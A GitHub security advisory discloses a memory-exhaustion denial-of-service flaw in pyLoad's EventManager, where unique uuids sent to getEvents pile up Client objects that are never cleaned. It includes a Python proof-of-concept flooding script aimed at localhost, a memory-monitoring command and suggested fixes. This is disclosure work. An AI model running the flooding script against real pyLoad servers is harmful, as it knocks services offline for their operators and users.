GHSA-c2f9-4mc8-j656 pyLoad: Unbounded Memory Growth Leading to DoS and Potential DDoS in EventManager

• PyPI pyload-ng: <= 0.5.0b3.dev100 (no fix yet)

Description: The `EventManager` module in `pyload` manages a list of `Client` instances for subscribing to events. The addition of each unique `uuid` from the `get_events` API causes the creation of a `Client` instance that gets appended to the `clients` list. Although there is a `clean()` method available in the `EventManager` module for removing non-responding `Client` instances, this method is never used in the `EventManager` or in the entire core application code. Consequently, this causes an uncontrolled growth in memory consumption until it becomes exhausted, resulting in a DoS attack. Vulnerable Code: https://github.com/pyload/pyload/blob/355c3f8d78a91f72d049e58f1edee8a972f845eb/src/pyload/core/managers/event_manager.py#L16-L17 > Here the client is added to the `clients` list but never cleared the inactive clients. Exploitation: 1. Start pyLoad server (Ensure the `pyload` server is running) 2. Authenticate: Obtain a session cookie or an API key (Here i used the API key). 3. Send Requests: Run the below poc script to send a large number of requests to the `getEvents` API endpoint, each with a unique `uuid`. ```python import requests import uuid import time Configuration URL = "http://localhost:8000/api/getEvents" NUM_REQUESTS = 100000 headers = { "X-API-Key" : "" } print(f"Starting DoS attack: sending {NUM_REQUESTS} unique UUIDs...") for i in range(NUM_REQUESTS): # Generating a new UUID uid = str(uuid.uuid4()) try: # Sending request requests.get(URL, params={"uuid": uid}, headers=headers, timeout=5) if i % 1000 == 0: print(f"Sent {i} requests...") except requests.exceptions.RequestException as e: print(f"Error at request {i}: {e}") break print("Attack complete. Check memory usage.") ``` 5. Monitor Memory: Monitor the memory usage of the `pyload` process (e.g., using `top`, `ps` or the following commands). ```bash PID=$(pgrep -f "pyload"); while true; do ps -o rss= -p $PID; sleep 1; done ``` 6. Observe Growth: Notice that the memory consumption increases and never decreases, even after the requests stop and 30 seconds. https://github.com/user-attachments/assets/28d460c9-655d-45a1-a47f-c0f4d196f686 Impact: • Denial of Service (DoS). The `pyload` process will consume all available system memory, leading to an Out-of-Memory (OOM) kill by the operating system or system-wide instability, affecting other services on the host. Mitigations: • Invoke `clean()`: Call `self.clean()` at the beginning of the `get_events` method to purge inactive clients before processing new ones. • Rate Limiting: Implement rate limiting on the `getEvents` endpoint to prevent a single client from flooding the server with unique UUIDs.